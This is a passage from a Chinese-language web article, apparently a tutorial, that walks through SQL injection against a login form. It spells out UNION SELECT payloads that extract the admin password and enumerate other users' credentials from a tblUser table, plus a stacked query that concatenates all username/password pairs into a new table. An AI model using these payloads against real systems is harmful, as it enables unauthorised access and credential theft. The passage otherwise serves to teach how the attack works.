| 数据域位,因此有图 5 的错误讯息。由以上的错误可以得知有一个称为”Admin”的帐号存在,之后再以下列语法获得该帐号的密码。
''''UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName=''''admin''''--
错误讯息如图 6。
图 6:利用错误讯息取得帐号 admin 的密码。
之后再继续以下列语法来获得其它人的帐号密码。
''''UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>''''admin''''--
错误讯息如图 7。
图 7:依序透过相同的机制取得其它人的帐号密码。
依次替换掉 WHERE UserName > 的条件内容,就可以取得资料表中所有的帐号和密码组合。 骇客甚至可以透过以下的语法将整个使用者帐号密码串成字符串:在输入使用者帐号的字段填入如程序代码列表 3 的 SQL 语句。
'''';DECLARE @str VARCHAR(8000) SET @str=''''@'''' SELECT @str=@str+'''' ''''+UserName+''''/''''+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker--
程序代码列表 3:将所有的使用者数据组成字符串,放入自订的数据表中。
在程序代码列表 3 中,先宣告一个长度为 8000 的字符串变量 @str,再将整个 tblUser 资料表的内容组成一个字符串放到变量 @str 之内,最后再利用 SELECT … INTO… 语法把 @str 变量的 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |